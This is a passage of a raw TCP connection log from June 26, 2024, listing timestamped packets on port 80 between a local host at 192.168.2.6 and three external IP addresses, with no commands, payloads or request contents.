Jun 26, 2024 08:16:32.022118092 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.022324085 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022330046 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022361994 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022367954 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022372007 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.022382975 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022388935 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022392988 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.022398949 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022408009 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022413969 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022418976 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022424936 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022429943 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022433996 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.022440910 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022448063 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022454023 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022464037 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022464037 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.022481918 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.022490978 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022511005 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022512913 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.022516966 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022530079 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022536993 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022538900 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022541046 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.022545099 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022547007 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.022564888 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.022593021 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.052587986 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.052649975 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.052658081 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.052668095 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.052674055 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.052720070 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.052757025 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.053119898 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.053138971 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.053148031 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.053179026 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.053198099 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.053204060 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.053237915 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.071513891 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.071533918 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.071546078 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.071554899 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.071564913 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.071573973 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.071583986 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.071639061 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.071666956 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.083266020 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.083276033 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.083316088 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.083334923 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.083343983 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.083353043 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.083364964 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.083364964 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.083381891 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.083395958 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.083400965 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.083410025 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.083427906 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.083446980 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.083455086 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.083465099 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.083477974 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.083482981 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.083502054 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.083520889 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.083523035 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.083585024 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.107686996 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.107697010 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.107716084 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.107745886 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.107748032 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.107786894 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.107791901 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.107799053 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.107808113 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.107811928 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.107816935 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.107831001 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.107853889 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.108215094 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108233929 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108273029 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.108287096 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108545065 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.108573914 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108582973 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108596087 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108603954 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108618975 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.108648062 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.108699083 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108709097 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108722925 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108747959 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108752012 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.108757019 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108771086 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.108772993 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108783007 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108803034 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.108828068 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.108864069 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108872890 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108886957 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108903885 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108913898 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108917952 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.108922005 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108932972 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108937025 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.108939886 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.108968019 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.108987093 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.109913111 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.109961033 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.109970093 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.109987020 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110012054 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110029936 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110039949 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110055923 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110074997 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110078096 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110099077 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110126972 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110156059 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110165119 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110193014 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110213995 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110236883 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110344887 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110353947 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110363007 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110371113 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110387087 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110409975 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110414028 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110419989 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110430002 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110456944 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110466003 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110476017 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110485077 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110519886 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110538006 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110568047 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110577106 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110585928 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110594988 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110604048 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110611916 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110613108 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110629082 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110642910 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110654116 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110685110 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110728979 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110738039 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110753059 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110769033 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110785961 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110786915 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110795021 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110802889 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110835075 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110846043 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110856056 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110863924 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110872984 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110881090 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110897064 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110898972 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110918999 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110939980 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110949039 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110989094 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.110997915 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.110999107 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.111006975 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.111016035 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.111025095 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.111035109 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.111057997 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.111061096 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.111067057 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.111078978 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.111088991 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.111114979 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.111124992 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.111196041 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.111205101 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.111213923 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.111224890 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.111234903 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.111243963 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.111247063 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.111253977 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.111277103 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.111279964 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.111284971 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.111314058 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.111325979 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.142024040 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.142045021 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.142061949 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.142076015 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.142085075 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.142090082 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.142093897 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.142116070 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.142118931 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.142122030 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.142143011 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.142162085 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.160660982 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.160681009 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.160695076 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.160702944 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.160738945 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.160748005 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.160752058 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.160784006 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.160795927 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.160824060 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.172039986 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.172060013 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.172082901 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.172101021 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.172111034 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.172111034 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.172123909 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:32.172147989 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:32.172189951 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:34.846945047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:34.847821951 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:37.503079891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:37.504951954 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:41.348092079 CEST	49730	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:41.353097916 CEST	80	49730	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:41.353270054 CEST	49730	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:41.353588104 CEST	49730	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:41.361067057 CEST	80	49730	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:42.034024954 CEST	80	49730	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:42.034140110 CEST	49730	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:42.034956932 CEST	49730	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:42.041888952 CEST	80	49730	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:42.247243881 CEST	80	49730	147.45.47.155	192.168.2.6
Jun 26, 2024 08:16:42.247328997 CEST	49730	80	192.168.2.6	147.45.47.155
Jun 26, 2024 08:16:42.252124071 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:42.256998062 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:42.257126093 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:42.257330894 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:42.262183905 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:42.953139067 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:42.953200102 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:42.953253984 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:42.953288078 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:42.953288078 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:42.953322887 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:42.953325033 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:42.953350067 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:42.953360081 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:42.953373909 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:42.953396082 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:42.953430891 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:42.953449011 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:42.953464985 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:42.953490973 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:42.953500032 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:42.953564882 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:42.958950996 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:42.959021091 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:42.959038019 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:42.959088087 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.076004028 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.076062918 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.076097965 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.076112986 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.076142073 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.076153040 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.076258898 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.076292992 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.076344967 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.076379061 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.076390028 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.076414108 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.076433897 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.076462030 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.077789068 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.077824116 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.077858925 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.077860117 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.077887058 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.077898026 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.077975035 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.078008890 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.078025103 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.078043938 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.078063011 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.078079939 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.078134060 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.078737020 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.078771114 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.078804970 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.078840017 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.078840971 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.078862906 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.078881025 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.078893900 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.078913927 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.078948975 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.078958988 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.079056025 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.081964970 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.082225084 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.162970066 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.163012981 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.163794041 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.199417114 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.199634075 CEST	80	49731	77.91.77.81	192.168.2.6
